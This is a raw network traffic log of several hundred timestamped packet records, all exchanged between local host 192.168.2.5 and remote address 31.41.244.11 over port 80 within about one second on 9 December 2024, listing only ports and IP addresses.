Dec 9, 2024 15:30:15.547221899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.548669100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.548687935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.548732996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.548746109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.549956083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.549999952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.550030947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.550071001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.551703930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.551728010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.551759005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.551769972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.553128004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.553172112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.553184986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.553188086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.553211927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.553231955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.554661036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.554683924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.554724932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.555912971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.556056976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.556073904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.556113958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.557471991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.557512045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.557528973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.557574034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.559041023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.559060097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.559096098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.559108019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.560539007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.560561895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.560575962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.560596943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.560623884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.562015057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.562036991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.562072039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.562096119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.563474894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.563524961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.563534975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.563565969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.565027952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.565053940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.565088987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.565114975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.566565037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.566590071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.566606998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.566625118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.566625118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.566643000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.568032026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.568054914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.568077087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.568094969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.569530964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.569551945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.569582939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.569593906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.571075916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.571094990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.571121931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.571140051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.572701931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.572720051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.572734118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.572751999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.572758913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.572781086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.694257021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.694320917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.694534063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.694590092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.695229053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.695281982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.695908070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.695957899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.696646929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.696670055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.696697950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.696716070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.697901011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.697941065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.698597908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.698646069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.699335098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.699352980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.699382067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.699395895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.700751066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.700768948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.700798035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.700813055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.702045918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.702069044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.702095985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.702106953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.703423023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.703445911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.703475952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.703495026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.704756021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.704778910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.704811096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.704828024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.706104994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.706127882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.706155062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.706163883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.707623005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.707644939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.707676888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.707700014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.708762884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.708779097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.708808899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.708825111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.710158110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.710175991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.710207939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.710220098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.711477041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.711493969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.711527109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.711540937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.712852001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.712872028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.712898970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.712910891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.714360952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.714385033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.714406013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.714427948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.715842962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.715864897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.715888977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.715899944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.717385054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.717406034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.717437029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.717451096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.719125032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.719149113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.719166994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.719181061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.719206095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.719249010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.720413923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.720463037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.720464945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.720510960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.721929073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.721952915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.721980095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.722008944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.723459959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.723500967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.723512888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.723543882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.724951029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.724977016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.725003004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.725013971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.726345062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.726362944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.726377964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.726414919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.726414919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.726428032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.727822065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.727839947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.727871895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.727885008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.729305983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.729324102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.729355097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.729376078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.731040001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.731060982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.731093884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.731106043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.732456923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.732479095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.732507944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.732517958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.733880043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.733903885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.733921051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.733939886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.733952045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.733969927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.735342979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.735363007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.735389948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.735407114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.736850023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.736866951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.736901045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.736917019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.738368034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.738389969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.738419056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.738437891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.739855051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.739881992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.739897966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.739898920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.739918947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.739953995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.743783951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.743803978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.743819952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.743828058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.743840933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.743864059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.743936062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.743980885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.745095968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.745112896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.745134115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.745151043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.746046066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.746066093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.746093035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.746125937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.747340918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.747359991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.747375011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.747385979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.747409105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.747421980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.748819113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.748836040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.748866081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.748879910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.750360012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.750380039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.750405073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.750418901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.751899004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.751943111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.751985073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.752032042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.753411055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.753437042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.753454924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.753470898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.755089998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.755116940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.755135059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.755146980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.755160093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.755177021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.756305933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.756325006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.756356955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.756388903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.757863998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.757885933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.757913113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.757934093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.761446953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.761468887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.761495113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.761523962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.761733055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.761759043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.761789083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.761800051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.763048887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.763067007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.763089895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.763102055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.763156891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.763204098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.764728069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.764744997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.764775038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.764796019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.766043901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.766062021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.766089916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.766108036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.890268087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.890322924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.890625000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.890732050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.891288996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.891331911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.891927958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.891985893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.892549992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.892570972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.892596006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.892611027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.893975019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.894016981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.894601107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.894864082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.895292997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.895325899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.895350933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.895390034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.896702051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.896719933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.896743059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.896759987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.897950888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.897969007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.897989035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.898010969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.899374008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.899419069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.899493933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.899537086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.900752068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.900768995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.900796890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.900809050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.902107954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.902123928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.902149916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.902173996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.903692007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.903712988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.903750896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.903775930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.904691935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.904861927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.904876947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.904912949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.906048059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.906064987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.906094074 CET	49866	80	192.168.2.5	31.41.244.11
